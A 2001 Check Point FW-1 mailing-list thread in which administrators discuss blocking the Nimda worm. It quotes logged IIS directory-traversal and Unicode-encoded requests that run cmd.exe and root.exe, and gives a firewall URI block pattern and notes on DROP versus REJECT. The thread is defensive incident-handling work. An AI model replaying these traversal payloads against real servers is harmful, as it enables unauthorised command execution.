Re: [FW1] New worm on the road?

["Yves Belle-Isle" <BelY@FW1-NOSPAMSogi.com>]

Title: RE: [FW1] New worm on the road?

The problem is than with a HTTP Security server ressource to block NimDa even if you specify DROP in the

rule Securities Servers never DROP connection they ALWAYS REJECT them. For NimDA if you drop attack from

a source it will hit you about 1 probe/minute if you reject attack from a source it will attack you

10 to 20 times/sec because it seems it doesn't care about drop/reject when the attack gets a reject or

timeout (out) it send the next one.

 

The interesting thing is than i had a ressource to DROP (Read REJECT in the log...) CodeRED II attack,

i used a filter of *{NNNNN;XXXXX}* because other filters i tried like default.ida caused unrelated

traffic to be rejected to. This ressource did not reject Nimda virus but because the Nimda connections

where examined by the security server in the following rule, not using security ressources, where i

dropped connection for HTTP service except those to our HTTP server (Not running any form of MS HTTP server

because there are all real piece of shit!) those where Rejected and no Dropped because of a side effect

of the HTTP Ressource to katch CodeRed. I had to disable that Code Red ressource

 

As long as Nimda attack are dropped i get's less than 1KB/Sec traffic from it when i reject them

i get at least steady 50KB/Sec traffic from it.

 

I will open a trouble ticket with Checkpoint Support on the fact than if a connection is

inspected by a Secury Server it can't be DROPPED just REJECTED even if the DROP is in

rule without ressource after the rule with the ressource.

 

Yves Belle-Isle

----- Original Message -----

From: METE EMINAGAOGLU (IT)

To: 'hsanders@balink.com'

Cc: 'fw-1-mailinglist@beethoven.us.checkpoint.com'

Sent: Thursday, September 20, 2001 13:23

Subject: RE: [FW1] New worm on the road?

Yes, I think everyone related with networking & security should have been aware till now somehow. (Since, W32/Nimda is so massive, aggressive, and posing many multi-functional different threats... Thanks to all the security vulnerabilities of Microsoft products!!!)

Yes, you can create an http-security URI object. (Similar to the one used for CodeRed warm...)

However, I should warn you that some people continously argue that this solution slows down http service in the FW, or crashes the FW completely... ?? (Although I have never faced such problems...)

I'm still using different http and smtp-security server based rules in my FW. Even the one I' ve denoted below, no performance bottleneck so far...

The solution: (A generic one for W32/Nimda, CodeRed, Sadmind/IIS)

1. Create A new URI Resource (say, Block_http),

Tick both Connection Methods: "Transparent" & "Proxy"
In the URI Match Spec. Type, choose "Wild Cards"

Schemes: HTTP
Method: GET, (you can also tick the other methods, if u'd like...)
Host: *
Path: {*default.ida?*,*cmd.exe?*,*root.exe?*,*dmin.dll,*/x,*readme.exe*}
Query:*

2. Create a new rule on top of all the other http-based rules as;

src: any
dst: any
svc: http --> Block_http
act: DROP

3. Install the policy.

BEST LUCK...

PS:

What' s more, you can also filter incoming or outgoing (or both) mails infected with this virus, by stripping MIME attachments with readme.exe or *.exe types. using FW' s smtp security server...

-----Original Message-----
From: hsanders@balink.com [mailto:hsanders@balink.com]
Sent: Wednesday, September 19, 2001 6:32 AM
To: Patrick Coomans
Cc: fw-1-mailinglist@beethoven.us.checkpoint.com
Subject: Re: [FW1] New worm on the road?

It's all over the news. The W32/Nimda  worm (admin backwards). Feel free to read
all about it. It's caused massive headaches all day today.

http://www.cert.org/advisories/CA-2001-26.html

"Patrick Coomans" <Patrick.Coomans@4all.be> on 09/18/2001 05:35:36 PM

To:   fw-1-mailinglist@beethoven.us.checkpoint.com
cc:    (bcc: Harley S. Sanders/BAIS/BAReston)

Subject:  [FW1] New worm on the road?

Since this evening I am experiencing massive attacks on HTTP (IIS oriented I
presume) from many different IP addresses.

They all look like:

GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
GET /scripts/root.exe?/c+dir HTTP/1.0
GET /MSADC/root.exe?/c+dir HTTP/1.0
GET /MSADC/root.exe?/c+dir HTTP/1.0
GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir

HTTP/1.0
GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir

HTTP/1.0
GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir

HTTP/1.0
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0

Is anyone aware that this is some new kind of worm?
Now my FW1 question: can I create a HTTP resource (secure server) that blocks
all requests that e.g. have a .EXE in it ?  Or would that slow my FW1's down to
much?

Any other suggestions for good products that can do HTTP content inspection and
that cooperate or can co-exist with fw1 ?

Thanks,
Patrick